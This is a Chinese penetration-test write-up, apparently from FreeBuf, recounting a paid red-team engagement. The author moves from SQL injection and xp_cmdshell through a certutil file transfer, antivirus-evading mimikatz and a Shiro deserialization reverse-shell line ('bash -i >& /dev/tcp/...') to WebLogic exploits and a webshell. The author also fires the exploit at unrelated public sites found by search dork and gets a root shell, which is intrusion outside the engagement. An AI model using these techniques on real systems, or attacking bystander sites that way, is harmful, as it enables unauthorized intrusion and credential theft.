记一次授权网络攻防演练：屡败屡战的一次实战经历
本文仅限技术研究与讨论，仅用于信息防御技术，严禁用于非法用途，否则产生的一切后果自行承担！
这几天为了给大家分享技术干货，可以用废寝忘食来形容了！现在疫情还是依旧很严峻，大家还是呆在家里安安静静看我的文章吧，别出去溜达了！如果我的技术搞能让你呆在家里，我也算为社会做贡献了哈！
本次的技术搞还得从去年护网开始说起，当时我被甲方邀请作为攻击手，对他们的系统做定向授权渗透，只要getshell,就有8000元的奖励！作为一名白帽子，啥也不说了，开干！一开始以为会比较顺利，但是……
0×01 渗透复盘
众所周知，一次完整的攻击流程包括：信息搜集、漏洞利用、建立据点、权限提升、权限维持、横向移动、痕迹清除等7步。
一切一切的起源来自于一个注入点……
http://www.z *****.com/****.aspx?lmid=11&acid=38917
Note:mssql的DBA权限，有点渗透经验的人，看到这个画面就知道这个站已经死了……
But !!! 事实总是那么出乎意料
由于支持堆叠注入，堆叠注入大家应该都熟悉吧！我就不废话了，经过–os-shell调用xp_cmdshell，发现是system权限，但
是执行各种命令后绝望的发现—>库站分离+数据库服务器不通外网。 更绝望的是，数据库服务器上有NOD32，关于这个玩意
咱们以后再说。
数据库不通外网，只能从网站后台下手，悲催的是我一没找到后台，二没admin相关表名
那就只能旁站了，如果能找到aspx的旁站，也许使用的是同一个数据库，这样我跨库找admin密码还是很有机会的！
然而结果旁站不是报502就是直接跳转到其他子域名的登录界面,和无语。。。。。。
事情反常，必有妖！这个时候我意识到好像是条”大鱼”(有一些子域名，有单独的登录域名，旁站都是该网站的相关站点)
既然探测到一些子域名，那我们继续挖掘更多的子域名。
给大家分享2个很好用的子域名挖掘神器吧
还有我最喜欢的subDomainsBrute
挖到域名后，弱密码admin/admin进入 后台(http://*p.z****.com/admin )
但这个后台是java写的，上传点只有ckfinder，这个编辑器也是无解的
我试图在后台找到注入点，然而并没有，并且就算有注入点，由于我已经进了后台，大概率对我也没有鸟帮助！
看起来这个后台和前面的数据库一样，并没有什么卵用，但是两者可以进行一定配合来抓取数据库服务器的
administrator密码，如果有windows密码的话，可能用来登录外网哈
服务器的3389端口，因为大部分管理员都喜欢设置成同一个密码。
数据库虽然不通外网，但是他们内网对自己公司的外网域名还是解析的—>我可以通过这个后台来向内网传递
文件，开心开心！
我先在http://*p.z****.com/admin上传1.flv文件，由于图片文件有文件内容检测，so，只能传flash文件 
然后在 http://www.z *****.com/的注入点上用xp_cmdshell执行：
certutil -urlcache -split -f http://*p.z****.com/upload/1.flv
成功传递文件
然而噩梦才刚刚开始…… NOD32杀掉了一切mimikatz变形工具
从如下检测链接可以看出来，NOD32和卡巴斯基不愧为最强杀毒，其他杀软的静态查杀全部miss，只有这两个绕不过去
http://r.virscan.org/language/zh … 4e60e71747398c9bc9e
这个时候我就特怀念起procdump了，虽然每次使用都需要下载一个30M-100M的lsass.dmp文件，但确实免杀
好用。但就算把procdump上传上去了，我该如何把lsass.dmp文件传递出来呢？
Bingo!
这里我想到了curl.exe，用curl.exe是可以加cookie上传的，但是http://*p.z****.com/admin最大只支持2M文件
上传。我既无法将curl.exe传递进去，也无法将lsass.dmp文件传递出来。也许还有文件压缩分割的办法，但实
在太麻烦，还不如去找其他免杀的!
我找啊找…… 皇天不负有心人，我终于找到了能免杀NOD32的mimikatz变形工具。
https://github.com/3gstudent/Hom … ekurlsa-wdigest.cpp
发现还是没什么卵用，抓到的密码并不是administrator用户，而且毫无用处！
现在数据库这边已经没什么办法可想了，我只好把注意力集中在后台上，发现该后台其实是一个源码公开的
j**cms，而且版本并不高。虽然不懂java，但是低版本通常都有一些漏洞，找漏洞只需要看看作者更新历史就行了。于是我进入其github的第一眼就笑了。 
毫无疑问，j**cms更新却要升级shiro的原因是Shiro RememberMe反序列化
我检查了后台登录界面的记住我功能，果然在cookie中增加了一个RememberMe参数，这就是shiro的特征啊 
shiro反弹shell利用很简单，用ysoserial.jar生成一个监听端口，然后各种poc去访问之，生成rememberme参
数，然后替换掉原来的即可。
但shiro反序列化的真正关键之处在于AES的key，网上流传的绝大部分poc都只使用了一种key，成功率很低，
使用如下集成工具成功率会大大增高。
再给大家分享个神器吧
https://github.com/sv3nbeast/ShiroScan
开始反弹shell，注意payload要使用bash -i >& /dev/tcp/ip/port 0>&1的base64执行方式，不过这里由于对方服
务器可能是windows，直接用ping dnslog.com的命令。
然而并没有成功，我的妈呀! 难道是j**cms并没有此漏洞？
我使用intitle: Powered By J**cms的办法去找了网上的一些网站，再用poc去弹shell
第一个网站就弹回root权限shell，这说明poc是可以打此cms的，我猜是http://*p.z****.com的网站管理员自己
升级修复了shiro版本。好不容易找到突破口却再次陷入僵局， 此刻我真的想放弃了，太累了，但是又想着费这么大劲了，还是再坚持一下吧！
此时我手上该目标的资产并不好突破，我开始在js中寻求突破口，居然发现大部分js都是单独引用的另外一个
子域名服务器，此服务器单独作为js服务器。此服务器和前面几个ip都不同，并且都在同一个C段。
通过对C段的端口和域名扫描，我确信了整个公网2**.**.***.0/24的C段都是该企业的资产，这是大鱼中的大鱼啊！ 
整理后发现OA，wiki，svn，gitlab，coremail，horizon，axis，jenkins，各种网络终端，各种工作web，各种IIS接口，各种
tomcat。
Note:这其中，显而意见的突破口就是coremail的信息泄露，Axis的远程命令执行CVE-2019-0227，weblogic的t3反序列
化，tomcat的爆破PUT等漏洞。
经过分享coremail被修复，CVE-2019-0227只能内网配合arp用，t3经poc检测不存在漏洞，tomcat都是默认不开manager和
PUT的，甚至连部署war包之后的工作目录都没找到。
果不其然没有近路可走，还是只能仔细检查IIS接口和工作web。
所有的IIS都存在短文件名枚举。
两个居然还存在目录遍历
同时大部分也有CVE-2015-1635，可以使其蓝屏！
目录遍历可以让我们直接访问到asmx文件的SOAP接口 
POST传参和xml传参都可以，对于soap，awvs有专门的模块检查注入 
不错不错！ 几秒钟就检查到注入了，将POST包放入sql跑！
又是DBA权限！又可以开启xp_cmdshell执行命令！But !!!!!!
又TM的是system权限+库站分离+不通外网！唯一不同的是，安全软件变成了360。
好吧，360比NOD32还是简单一些，我准备继续尝试用http://*p.z****.com/admin中转文件，却发现它ping不
通*p.z****.com。虽然ping的通之前那个数据库，也就是数据库1服务器，但是单纯用cmd建立smb或者ftp来传
递文件我尝试了很久都没成功，而且就算可以抓取明文密码，也多半会像之前那样抓了个没用的密码。毕竟数
据库2服务器中也没有administrator在线，同时两者都没有域控。
我没有在抓密码上浪费时间，翻找了一下敏感文件发现点猫腻
哎，谢天谢地啊 有个密码.txt，But ! !! 我发现无法用xp_cmdshell读取中文文件，不管是sqlmap还是手工注入都没办法。这下该这么搞啊！ Bingo ! 目录txt不多的话，可以这样做。先合并所有txt，再读取就行了!
copy *.txt 1.txt type 1.txt
Note：发现里面只是一串乱码，像是某软件自动生成的强密码，后面也没发现有什么鸟用！
继续翻找IIS接口，在另外一台服务器上，发现了这样的soap接口
根据我挖洞的经验，这显然是一个任意文件读取！
果然，base64解码后就是web.config，顺便试了下XXE，不存在，不过也无所谓了。
任意文件读取如何getshell？只能读配置文件获取数据库密码，远程连接上去getshell。
盲猜各种中间件的配置文件路径后，仅仅只获取了IIS的配置文件，然而IIS的配置文件里就仅仅只有一个网站，就是FileService.asmx接口网站，里面没有任何有用信息
C:\Windows\System32\inetsrv\config\applicationHost.config
换而言之还是没什么鸟用！
我将注意力转回数据库2服务器，开始在数据库2服务器中跨库寻找账户密码，以此用来登录各种工作web。
这是一个力气活，我用sqlmap跑了所有库的表名，然后寻找user，admin，manager相关表名，在其中寻觅管理员密码。
运气依旧不太好，库里的大部分面都有salt或者含密钥的加密方式，少部分md5解出来还是弱密码。
不过用户名特征很明显，是员工工号，以及有一个j***admin的通用管理员账户，这些特征使我能够用123456、admin123等弱密码反过来匹配用户名字典。最终进入了一个aspx的后台。
但是此后台似乎已被废弃，所有功能都没有数据，而且无法上传任何文件，会提示不存在目录
至此，我已经耗了整整两天的时间，拥有如下收获：
http://www.z *****.com/****.aspx?lmid=11&acid=38917
dba+system注入点，库站分离，不通外网
http://*p.z****.com/admin
j**cms后台，只能上传小于2M的文件
http://2 **.***.***.*6:8081/*e.asmx
dba+system注入点，库站分离，不通外网
http://2 **.***.***.*5/FileService.asmx
任意文件读取
http:// 2**.***.***.*6:8084/login.aspx
aspx后台，无用
可谓屡战屡败，屡败屡战！
收拾心情，继续战斗。我开始挑战那些仅仅只有一个登录界面的工作web！
就一个登录界面能有哪些漏洞呢
1、弱密码/爆破——我有用户名字典可以匹配弱密码 2、万能密码/注入 3、前端验证/修改返回码 4、后台强制js跳转而不是302跳转
经过不懈努力，终于再次找到一个oracle的dba注入点
登录框有一个搜索门店的功能，并没有放过这个小地方。
这儿还有很少见的oracle报错注入，我还从来没在实战环境中见过这种，还顺便练习了下手注语句。然后继
续跑密码，但是跑出来的密码还是登陆不上。
之后还经历了各种前端验证，但依旧检测session然后将你302跳转T出来的，html框架不校验身份但是do接口
校验权限的，总而言之就是那种各种给你希望却带来绝望的，搞的我现在很怀疑人生！
继续把这些失败的经历说出来实在没有必要，最终也确实搞到了webshell，那么突破点在哪儿呢？
还是从这些工作web里翻找js文件，在js文件中发现这样一个接口
Note：熟悉的不能再熟悉的weblogic，赶紧第一时间检查/wls-wsat/CoordinatorPortType
我感动的留下了泪水，不能哭 忍住！
CVE-2017-3506/CVE-2017-10271/CVE-2019-2725/CVE-2019-2729全部打一遍。
最终使用shack2的工具成功getshell—>8000大洋成功到手！好开心
https://github.com/shack2/javase … es/tag/1.0.20190828 
0×02 回顾
两个mssql数据库服务器—>通过xp_cmdshell执行ipconfig获得ip
任意文件读取—>通过读取IIS配置文件获得ip
oracle数据库服务器—>通过utl_inaddr.get_host_address获取ip
weblogic—>反序列化ipconfig获取ip
互ping之后确认自己没有日偏了，它们全在同一内网中，而且横跨了至少3个B段，看样子远远没有结束，后面的事情恐怕更加复杂。
0×03 结束语
我太难了！
Life is short,play more! enjoy this moment.
*本文原创作者：星空111，本文属于FreeBuf原创奖励计划，未经许可禁止转载
About The Author
